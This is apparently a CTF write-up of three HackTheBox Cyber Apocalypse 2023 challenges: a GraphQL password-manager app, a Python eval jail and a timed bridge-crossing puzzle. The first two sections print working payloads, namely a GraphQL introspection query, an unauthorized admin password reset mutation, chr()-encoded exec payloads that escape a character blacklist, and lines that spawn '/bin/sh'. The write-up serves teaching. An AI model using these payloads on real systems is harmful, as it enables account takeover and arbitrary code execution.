My team and I recently competed in HackTheBox’s 2023 Cyber Apocalypse CTF. Over the course of this multi-day competition, we were able to solve 44 challenges in various categories such as web exploitation, reverse engineering, binary exploitation, and forensics. In this post, I’ll share a few of my favorite challenges that I solved during the competition.


[Web] Passman - Easy

Passman was one of the easy web challenges which involved exploiting a web-based password managment tool. This challenge was largely a white box assessment as we were provided with the Dockerfile and source for the web application. Navigating to the main page we are prompted for a login page:

Image

After reviewing the entrypoint.sh file which will be ran once the container is started - we see some database statements that populate the password manager with user passwords.

INSERT INTO passman.saved_passwords (owner, type, address, username, password, note)
VALUES
    ('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),
    ('louisbarnett', 'Web', 'spotify.com', 'louisbarnett', 'YMgC41@)pT+BV', 'student sub'),
    ('louisbarnett', 'Email', 'dmail.com', 'louisbarnett@dmail.com', 'L-~I6pOy42MYY#y', 'private mail'),
    ('ninaviola', 'Web', 'office365.com', 'ninaviola1', 'OfficeSpace##1', 'company email'),
    ('alvinfisher', 'App', 'Netflix', 'alvinfisher1979', 'efQKL2pJAWDM46L7', 'Family Netflix'),
    ('alvinfisher', 'Web', 'twitter.com', 'alvinfisher1979', '7wYz9pbbaH3S64LG', 'old twitter account');```

One of the quick wins we could try would be credential stuffiing. We can try and login as each user using one of these passwords in the hopes that they might be reusing passwords. Unfortunately, there was no quick win here.

Looking at the login page again, we see there is an option to register a new account. We can create an account and examine the POST request to better understand the account registration process.

POST /graphql HTTP/1.1
Host: 104.248.169.232:31943
Content-Length: 246
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://104.248.169.232:31943
Referer: http://104.248.169.232:31943/register
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"query":"mutation($email: String!, $username: String!, $password: String!) { RegisterUser(email: $email, username: $username, password: $password) { message } }","variables":{"email":"navsec@local.com","username":"navsec","password":"P@ssword1"}}

Based on the data format and the self-explanatory /graphql endpoint, we are dealing with graphQL. One of the key features of GraphQL is that is allows the client to define the structure of the data that it wants the server to return.

Now that we know that graphQL is being used - we can modify and replay our POST request to explore this endpoint a little bit further. GraphQL has a feature called introspection that allows us to make queries against the underlying schema. If introspection is enabled - we can query the schema to understand all available queries, mutations, types, and fields.

The following is a common payload used to dump schema information from graphQL:

{"query":"{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}

Sending this query to the server - we receive a 200 OK response and a large response object which contains a ton of information on the underlying schema. As we search through that information, we see a query in the schema that is interesting.

"name":"UpdatePassword","description":null,"args":[{"name":"username","description":null,"type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}},

It looks like there is a query for UpdatePassword that will presumably change a user’s password. This is interesting, because after thoroughly exploring the web application - there doesn’t appear to be any option for the user to perform this type of action. This functionality may have never meant to have been exposed or used by the user.

With the schema information - we can try and send a request to update our own user’s password:

{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"navsec","password":"password"}}

Response:

{"data":{"UpdatePassword":{"message":"Password updated successfully!","token":null}}}

We’ve successfully reset our own password. Now we can try and change other users passwords

{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"password"}}

Response:

{"data":{"UpdatePassword":{"message":"Password updated successfully!","token":null}}}

We’ve reset the admin password and now we can login to the app as admin. Image


[Misc] Nehebkaus Trap - Medium

Nehebkaus Trap was a Medium difficulty challenge under the Miscellanous category. Upon connecting to the target machine, we’re greeted with a ominous looking prompt:

Image

We quickly notice that the responses to our inputs are strange. Image

First, the id command appears to be getting accepted but we’re seeing a not defined error for ls. If we pass in a single bracket we see that something is trying to match for a closing bracket.

Based on the output we are seeing and the ASCII art snake hint - we can guess that we might be in some type of python environment. We can test our theory by passing in python commands and seeing how the program behaves. What if we try passing in input()?

Image

The prompt hangs until another input is sent. This better solidifies our theory that we are able to execute python commands and that we are likely within a python eval() statement. If that’s the case, we should be able to print something as well.

Image

There also appears to be a strict blacklist in place. After some additional testing, we learn that the blacklist is quite extensive and blocks us from using the following characters: ‘.’, ‘_’, ‘/’, ‘”’, ‘;’, ‘ ‘, “’”, ‘,’

Now we need to build a payload that will retrieve our flag but avoids using any of these characters in the payload. Luckily for us, the ( ) characters are not blacklisted which gives us some flexibility in creating the payload. Since we know that we are inside of an eval statement - we should be able to execute python code by calling the exec() function. An example of this would look like: exec(“import os;os.system(‘id’)”). This will not work as-is, however, because both single quotes and double quotes are blacklisted. To bypass this protection - we can leverage the python built-in chr() to convert each the unicode representation of each character that we need. With this approach - our above command becomes:

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(105)+chr(100)+chr(39)+chr(41))

Since it takes quite a bit of time to find the unicode representation of each character we need, we can build a quick script to do this for us:

userInput = input("Convert to CHR() format: ")
outputString = ""
for letter in userInput:
	outputString += ("chr(%s)+" % ord(letter)) 
print(outputString[:-1])

We’ll use this script to build us a payload to open the flag.txt in the current directory

Convert to CHR() format: with open(‘flag.txt’) as f: print(f.read()) chr(119)+chr(105)+chr(116)+chr(104)+chr(32)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)+chr(32)+chr(97)+chr(115)+chr(32)+chr(102)+chr(58)+chr(32)+chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(102)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(41)

Image

Bonus: Achieving Command Execution

exec(import os;os.system(“id && whoami && hostname”)) - Command Execution Image

Bonus: Spawning a Shell

exec(import pty;pty.spawn(“/bin/sh”)) - Invoke a shell Image


[Misc] The Chasm’s Crossing Conundrum - Hard

The Chasm’s Crossing Conundrum was a hard level miscellaneous challenge. The challenge provided the following instructions:

[*] The path ahead is treacherous.
[*] You have to find a viable strategy to get everyone across safely.
[*] The bridge can hold a maximum of two persons.
[*] The chasm lurks on either side of the bridge waiting for those who think they can get across in total darkness.
[*] If two persons get across, one must come back with the flashlight. 
[*] The flashlight has energy only for a limited amount of time.   
[*] The time required for two persons to cross, is dictated by the slower.
[*] The answer must be given in crossing and returning pairs. For example, [1,2],[2],... . This means that persons 1 and 2 cross and 2 gets back with the flashlight so others can cross.  

Image

The strategy is relatively simple to follow - whoever is the fastest needs to be designated as the runner who helps each person cross the chasm. Since the time required for both people to cross is dictated by the slower person, the only way to save on time is to have the fastest person running back each time to burn the least amount of time before helping the next person cross.

This challenge could be done manually but the difficulty lies in the short time limit that the user has to provide input. To overcome this - we can build a quick client app to start the challenge, take in the dynamically generated values, and then build and send the answer back based on our strategy.

Before building the client app - it is helpful to do a test run and take a simulatenous packet capture to understand how the client and server are talking normally.

Image

Now we can build our client implementation

import socket, re
SERVER_ADDRESS = "159.65.81.51"
SERVER_PORT = 31217
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((SERVER_ADDRESS, SERVER_PORT))

print(client_socket.recv(1024).decode())
print("+=+ Solving the Chasm Problem +=+")
client_socket.sendall("2\n".encode())
initialStart = (client_socket.recv(2048).decode())
print(initialStart)

# Get list of persons sorted by value
persons = {}
for line in initialStart.split("\n"):
    if line.startswith("Person"):
        persons[line.split(" ")[1]]=line.split(" ")[4]
sortedPersons = (sorted(persons.items(), key=lambda x: int(x[1])))
print(sortedPersons)

resp = ""
timeTaken = 0
# Build challenge response
for i in range(len(sortedPersons)-1):
    resp += "[%s,%s],[%s]," % (sortedPersons[0][0], sortedPersons[-1][0], sortedPersons[0][0])
    timeTaken += (int(sortedPersons[-1][1]) + int(sortedPersons[0][1]))
    del sortedPersons[-1]
    print(sortedPersons)
print(str(timeTaken) + " minutes elapsed!")

client_socket.sendall((resp[:-5] + "\n").encode())
print(client_socket.recv(2048).decode())
client_socket.close()

Running our script we see it fail. But our logic is correct so what’s the deal? It looks like the dynamically generated values are sometimes far greater than the flashlight charge time making this impossible to win.

Image

But if we run the script a few more times we’re sure to get more favorable numbers:

Image